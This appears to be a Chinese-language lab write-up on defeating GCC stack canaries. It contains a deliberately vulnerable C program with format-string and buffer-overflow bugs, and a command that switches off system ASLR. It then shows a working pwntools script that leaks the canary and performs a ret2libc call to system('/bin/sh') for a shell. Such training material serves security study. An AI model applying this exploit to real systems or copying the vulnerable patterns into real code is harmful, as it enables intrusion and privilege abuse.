Canary
主要用于防护栈溢出攻击
。我们知道,在32位系统上,对于栈溢出漏洞,攻击者通常是通过溢出栈缓冲区,覆盖栈上保存的函数返回地址来达到劫持程序执行流的目的。
Stack canary
保护机制在刚进入函数时,在栈上放置一个标志canary
,然后 在函数结束时,判断该标志是否被改变,如果被改变,则表示有攻击行为发生。
gcc相关参数及意义
-fstack-protector:启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
-fstack-protector-all:启用堆栈保护,为所有函数插入保护代码。
-fno-stack-protector:禁用堆栈保护
一,实验源码
文件名:Canary.c
#include <stdio.h>
#include <string.h>
void vul(char *msg_orig)
{
char msg[128];
memcpy(msg,msg_orig,128);
printf(msg);
char shellcode[64];
puts("Now ,plz give me your shellcode:");
read(0,shellcode,256);
}
int main()
{
puts("So plz leave your message:");
char msg[128];
memset(msg,0,128);
read(0,msg,128);
vul(msg);
puts("Bye!");
return 0;
}
二,编译
命令:gcc -m32 -ggdb -z execstack -fstack-protector -no-pie -o pwnme Cannary.c
使用ldd pwnme
,查看libc
文件的加载位置是否会变
如果会改变,为了调试方便,可以使用:echo 0 > /proc/sys/kernel/randomize_va_space
,关闭整个系统的地址随机化保护。
运行测试下
ok!!!
三,调试
gdb调试:
在vul
函数返回前
我们简单了解了下canary机制,接下来尝试利用格式化字符串漏洞泄露canary的值
泄露Canary
其实canary的值在程序每一次运行都是会改变的
我们在xor
下一个断点,测试一下。
重新运行
所以说canary
的值具有不可预测性
但是,eax
的值来源于gs:0x14
,而gs:0x14
存在于栈空间上,所以我们只要找到它栈空间上的位置,就可以泄露它的值。接下来我们就利用格式化字符串漏洞泄露Canary
首先在格式化漏洞点printf
函数下好断点
运行,输入:AAAAAAAAAA
然后查看栈空间内容,esp = 0xffffd0c0
,指向字符串起始位置 = 0xffffd12c
由此可知格式化字符串偏移为 = (0xffffd12c - 0xffffd0c0) / 4 = 27
然后我们在检测处下断点,查看看Canary的值 = 0xd7203900
这时候我们看上一张图,然后你会有一个地方的值是相同的
,而这个位址就是canary
同理得到Canary的偏移 = 59
,也就是说,在程序调用vul
中printf
时,输入%59$x'
打印出来的就是canary
的值。
四,代码
文件名:exp.py
其中涉及到ret2libc
,可以先查看https://www.jianshu.com/p/c90530c910b0,再看代码。
因为只是开启Canary
,所以解题方法挺多,泄露处Canary
就算经典栈溢出也可以。
from pwn import *
p = process('./pwnme')
elf = ELF('/lib32/libc.so.6') #加载的libc文件
libc_base = 0xf7dd1000 #libc基址
system_addr = libc_base + elf.symbols['system'] #system函数地址
bin_sh_addr = libc_base + next(elf.search('/bin/sh')) #'/bin/sh'地址
buf = '%59$x' #构建泄露Canary的格式化字符串
p.recvuntil("message:\n")
p.sendline(buf) #发送
ret_msg = p.recvuntil('\n')
canary = int(ret_msg,16) #接收到返回的Cannary的值
p.recvuntil('shellcode:') #利用栈溢出漏洞
buf = 192 * 'A' #构建buf
buf += p32(canary) #在Canary地址覆盖Canary原本的值,不改变Canary的值从而绕过检查
buf += 28 * 'B'
buf += p32(system_addr)
buf += p32(0xdeadbeef)
buf += p32(bin_sh_addr)
p.sendline(buf) #发送
p.interactive()
五,测试
输入whoami
,返回当前用户为root
,未报错,得到可产生交互的shell
,实验完成!